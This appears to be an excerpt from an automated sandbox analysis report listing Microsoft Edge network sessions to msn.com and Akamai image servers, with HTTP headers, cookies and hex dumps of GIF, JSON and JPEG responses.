2024-11-20 15:51:01 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0D807BBDD89D650538396E80D9B4640A; domain=.msn.com; expires=Mon, 15-Dec-2025 15:51:01 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0D807BBDD89D650538396E80D9B4640A; domain=c.msn.com; expires=Mon, 15-Dec-2025 15:51:01 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 15:51:01 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 20-Nov-2024 16:01:01 GMT; path=/; SameSite=None; Secure; Date: Wed, 20 Nov 2024 15:51:01 GMT Connection: close Content-Length: 42
2024-11-20 15:51:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49825	20.96.153.111	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:02 UTC	1010	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0D807BBDD89D650538396E80D9B4640A&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=26a2f394f6db4e638e5e35bcba6ef1f3 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1; _C_ETH=1
2024-11-20 15:51:02 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2687 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132844-T700343875-C128000000002115469+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115469+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 15:51:02 GMT Connection: close
2024-11-20 15:51:02 UTC	2687	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4f 75 61 72 67 6c 61 2c 20 41 6c 67 65 72 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4f 75 61 72 67 6c 61 25 32 43 2b 41 6c 67 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Ouargla, Algeria\",\"cta\":\"https:\/\/www.bing.com\/search?q=Ouargla%2C+Alg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49826	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:03 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:04 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE Last-Modified: Sun, 17 Nov 2024 14:12:33 GMT X-Source-Length: 57629 X-Datacenter: eastus X-ActivityId: 6804a10d-74f2-46bf-9e89-440fae368ad3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 57629 Cache-Control: public, max-age=166918 Expires: Fri, 22 Nov 2024 14:13:01 GMT Date: Wed, 20 Nov 2024 15:51:03 GMT Connection: close
2024-11-20 15:51:04 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 23 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn#
2024-11-20 15:51:04 UTC	2996	IN	Data Raw: ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 29 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51)
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-11-20 15:51:04 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49827	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:03 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:04 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:30:53 GMT X-Datacenter: eastus X-ActivityId: 7aef2f00-941c-4cd9-9dab-90b9f0df1dc7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=398290 Expires: Mon, 25 Nov 2024 06:29:13 GMT Date: Wed, 20 Nov 2024 15:51:03 GMT Connection: close
2024-11-20 15:51:04 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-11-20 15:51:04 UTC	1995	IN	Data Raw: cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-20 15:51:04 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-20 15:51:04 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-20 15:51:04 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49828	23.221.239.203	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:03 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:51:04 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 15 Nov 2024 09:23:39 GMT X-Datacenter: eastus X-ActivityId: 45299615-50a0-4d41-9f2b-be1f411b5255 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW X-Source-Length: 76188 Content-Length: 76188 Cache-Control: public, max-age=365650 Expires: Sun, 24 Nov 2024 21:25:13 GMT Date: Wed, 20 Nov 2024 15:51:03 GMT Connection: close
2024-11-20 15:51:04 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
